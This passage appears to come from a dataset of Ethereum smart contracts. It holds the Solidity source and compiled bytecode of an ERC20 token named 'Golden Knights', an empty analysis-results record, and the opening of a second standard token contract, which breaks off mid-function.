totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, TransferFilter { using SafeMath for uint256; mapping(address => uint256) internal balances; mapping (address => mapping (address => uint256)) internal allowed; modifier onlyPayloadSize(uint8 param) { // Check payload size to prevent short address attack. // Payload size must be longer than sum of methodID length and size of parameters. require(msg.data.length >= param * 32 + 4); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) onlyPayloadSize(2) // number of parameters checkTokenTransfer(msg.sender) public returns (bool) { require(_to != address(0), "Invalid destination address."); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3) // number of parameters checkTokenTransfer(_from) public returns (bool) { require(_from != address(0), "Invalid source address."); require(_to != address(0), "Invalid destination address."); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); uint256 _allowedValue = allowed[_from][msg.sender].sub(_value); allowed[_from][msg.sender] = _allowedValue; emit Transfer(_from, _to, _value); emit Approval(_from, msg.sender, _allowedValue); return true; } function approve(address _spender, uint256 _value) onlyPayloadSize(2) // number of parameters checkTokenTransfer(msg.sender) public returns (bool) { require(_spender != address(0), "Invalid spender address."); // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender,0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0), "Already approved."); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken { event MinterTransferred(address indexed previousMinter, address indexed newMinter); event Mint(address indexed to, uint256 amount); event MintFinished(); event Burn(address indexed from, uint256 value); bool public mintingFinished = false; address public minter; constructor() public { minter = msg.sender; emit MinterTransferred(address(0), minter); } modifier canMint() { require(!mintingFinished, "Minting is already finished."); _; } modifier hasPermission() { require(msg.sender == owner || msg.sender == minter, "You must be either owner or minter."); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) canMint hasPermission external returns (bool) { require(_to != address(0), "Invalid destination address."); totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() canMint onlyOwner external returns (bool) { mintingFinished = true; emit MintFinished(); return true; } function transferMinter(address newMinter) public onlyOwner { require(newMinter != address(0), "Invalid new minter address."); address prevMinter = minter; minter = newMinter; emit MinterTransferred(prevMinter, minter); } function burn(address _from, uint256 _amount) external hasPermission { require(_from != address(0), "Invalid source address."); balances[_from] = balances[_from].sub(_amount); totalSupply = totalSupply.sub(_amount); emit Transfer(_from, address(0), _amount); emit Burn(_from, _amount); } } contract GoldenKnights is MintableToken { string public constant name = "Golden Knights"; // solium-disable-line uppercase string public constant symbol = "GOLA"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase /** * @dev Constructor that initialize token. */ constructor() public { //totalSupply = 0; } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c80638da5cb5b116100de578063afbdaa0511610097578063dd62ed3e11610071578063dd62ed3e14610854578063e602af06146108cc578063f2fde38b146108d6578063fe99ad5a1461091a57610173565b8063afbdaa0514610729578063b57874ce14610785578063c89e43611461080a57610173565b80638da5cb5b146104f357806394b44f3e1461053d57806395d89b41146105c25780639cd23707146106455780639dc29fac14610675578063a9059cbb146106c357610173565b806323b872dd1161013057806323b872dd1461030d578063313ce5671461039357806340c10f19146103b7578063483b1a761461041d57806370a08231146104795780637d64bcb4146104d157610173565b806305d2035b1461017857806306fdde031461019a578063075461721461021d578063095ea7b31461026757806318160ddd146102cd5780632121dc75146102eb575b600080fd5b61018061095e565b604051808215151515815260200191505060405180910390f35b6101a2610971565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101e25780820151818401526020810190506101c7565b50505050905090810190601f16801561020f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102256109aa565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102b36004803603604081101561027d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109d0565b604051808215151515815260200191505060405180910390f35b6102d5610de1565b6040518082815260200191505060405180910390f35b6102f3610de7565b604051808215151515815260200191505060405180910390f35b6103796004803603606081101561032357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dfa565b604051808215151515815260200191505060405180910390f35b61039b6113d5565b604051808260ff1660ff16815260200191505060405180910390f35b610403600480360360408110156103cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113da565b604051808215151515815260200191505060405180910390f35b61045f6004803603602081101561043357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061176e565b604051808215151515815260200191505060405180910390f35b6104bb6004803603602081101561048f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117c4565b6040518082815260200191505060405180910390f35b6104d961180d565b604051808215151515815260200191505060405180910390f35b6104fb6119a3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105c06004803603604081101561055357600080fd5b810190808035906020019064010000000081111561057057600080fd5b82018360208201111561058257600080fd5b803590602001918460208302840111640100000000831117156105a457600080fd5b90919293919293908035151590602001909291905050506119c9565b005b6105ca611c95565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561060a5780820151818401526020810190506105ef565b50505050905090810190601f1680156106375780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106736004803603602081101561065b57600080fd5b81019080803515159060200190929190505050611cce565b005b6106c16004803603604081101561068b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611de9565b005b61070f600480360360408110156106d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506120f2565b604051808215151515815260200191505060405180910390f35b61076b6004803603602081101561073f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124af565b604051808215151515815260200191505060405180910390f35b6108086004803603604081101561079b57600080fd5b81019080803590602001906401000000008111156107b857600080fd5b8201836020820111156107ca57600080fd5b803590602001918460208302840111640100000000831117156107ec57600080fd5b9091929391929390803515159060200190929190505050612505565b005b6108126127d1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6108b66004803603604081101561086a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127f7565b6040518082815260200191505060405180910390f35b6108d461287e565b005b610918600480360360208110156108ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a86565b005b61095c6004803603602081101561093057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612c30565b005b600760009054906101000a900460ff1681565b6040518060400160405280600e81526020017f476f6c64656e204b6e696768747300000000000000000000000000000000000081525081565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060026004602082020160ff16600036905010156109ee57600080fd5b33600260149054906101000a900460ff1615610aac57600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612f8a6022913960400191505060405180910390fd5b610b4f565b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610b4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612fac6026913960400191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415610bf2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f496e76616c6964207370656e64657220616464726573732e000000000000000081525060200191505060405180910390fd5b6000841480610c7d57506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b610cef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f416c726561647920617070726f7665642e00000000000000000000000000000081525060200191505060405180910390fd5b83600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925866040518082815260200191505060405180910390a360019250505092915050565b60005481565b600260149054906101000a900460ff1681565b600060036004602082020160ff1660003690501015610e1857600080fd5b84600260149054906101000a900460ff1615610ed657600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610ed1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612f8a6022913960400191505060405180910390fd5b610f79565b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610f78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612fac6026913960400191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561101c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f496e76616c696420736f7572636520616464726573732e00000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156110bf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e76616c69642064657374696e6174696f6e20616464726573732e0000000081525060200191505060405180910390fd5b61111184600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7e90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111a684600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0190919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061127a85600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7e90919063ffffffff16565b905080600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3600193505050509392505050565b601281565b6000600760009054906101000a900460ff161561145f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4d696e74696e6720697320616c72656164792066696e69736865642e0000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806115085750600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61155d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612fd26023913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611600576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e76616c69642064657374696e6174696f6e20616464726573732e0000000081525060200191505060405180910390fd5b61161582600054612f0190919063ffffffff16565b60008190555061166d82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0190919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600760009054906101000a900460ff1615611892576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4d696e74696e6720697320616c72656164792066696e69736865642e0000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611955576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f596f75206d757374206265206f776e65722e000000000000000000000000000081525060200191505060405180910390fd5b6001600760006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a8c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f596f75206d757374206265206f776e65722e000000000000000000000000000081525060200191505060405180910390fd5b60008090505b83839050811015611c8f576000848483818110611aab57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1690506000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905083151581151514611c80578315611bdc576001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fa09e978c90f25c2a977904ade347948ac4761e23cf07a17f87c8b77ef301e89c6001604051808215151515815260200191505060405180910390a2611c7f565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff02191690558173ffffffffffffffffffffffffffffffffffffffff167fa09e978c90f25c2a977904ade347948ac4761e23cf07a17f87c8b77ef301e89c6000604051808215151515815260200191505060405180910390a25b5b50508080600101915050611a92565b50505050565b6040518060400160405280600481526020017f474f4c410000000000000000000000000000000000000000000000000000000081525081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d91576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f596f75206d757374206265206f776e65722e000000000000000000000000000081525060200191505060405180910390fd5b80600260146101000a81548160ff0219169083151502179055507f4d49befdca73a4dc2f0a3a9ed2dd8ddd7a76d19758d7e27dbb88c5a576d6f92e81604051808215151515815260200191505060405180910390a150565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611e925750600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611ee7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612fd26023913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f8a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f496e76616c696420736f7572636520616464726573732e00000000000000000081525060200191505060405180910390fd5b611fdc81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7e90919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061203481600054612e7e90919063ffffffff16565b600081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b600060026004602082020160ff166000369050101561211057600080fd5b33600260149054906101000a900460ff16156121ce57600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156121c9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612f8a6022913960400191505060405180910390fd5b612271565b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612270576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612fac6026913960400191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612314576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e76616c69642064657374696e6174696f6e20616464726573732e0000000081525060200191505060405180910390fd5b61236684600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7e90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fb84600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0190919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019250505092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146125c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f596f75206d757374206265206f776e65722e000000000000000000000000000081525060200191505060405180910390fd5b60008090505b838390508110156127cb5760008484838181106125e757fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1690506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050831515811515146127bc578315612718576001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f369e0b70fff47e7b3ceb33e2f6f5d67c3d85ab70974ae25e5b2ef2516863d1996001604051808215151515815260200191505060405180910390a26127bb565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff02191690558173ffffffffffffffffffffffffffffffffffffffff167f369e0b70fff47e7b3ceb33e2f6f5d67c3d85ab70974ae25e5b2ef2516863d1996000604051808215151515815260200191505060405180910390a25b5b505080806001019150506125ce565b50505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612941576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f596f75206d7573742062652064656c65676174652e000000000000000000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612b49576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f596f75206d757374206265206f776e65722e000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612bec576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c6964206e6577206f776e657220616464726573732e00000000000081525060200191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612cf3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f596f75206d757374206265206f776e65722e000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612d96576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f496e76616c6964206e6577206d696e74657220616464726573732e000000000081525060200191505060405180910390fd5b6000600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f02ad39e5173f89bdd5497202bd74024b5da045106c3163ddb078d2e89ff6d6de60405160405180910390a35050565b600082821115612ef6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4e656761746976652075696e74323536206973206e6f7720616c6c6f7765642e81525060200191505060405180910390fd5b818303905092915050565b600080828401905083811015612f7f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f416464696e672075696e74323536206f766572666c6f772e000000000000000081525060200191505060405180910390fd5b809150509291505056fe536f75726365206164647265737320697320696e20626c6f636b2066696c7465722e536f757263652061646472657373206d75737420626520696e20706173732066696c7465722e596f75206d75737420626520656974686572206f776e6572206f72206d696e7465722ea165627a7a72305820b6b008a9d294bf5736856b7b0609e3747fc281f9dfb800fb12326c214f3098710029
{"success": true, "error": null, "results": {}}
6,808
0x8ab10a31c97af458db24038ed8b498590cf64d74
pragma solidity ^0.4.12; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); 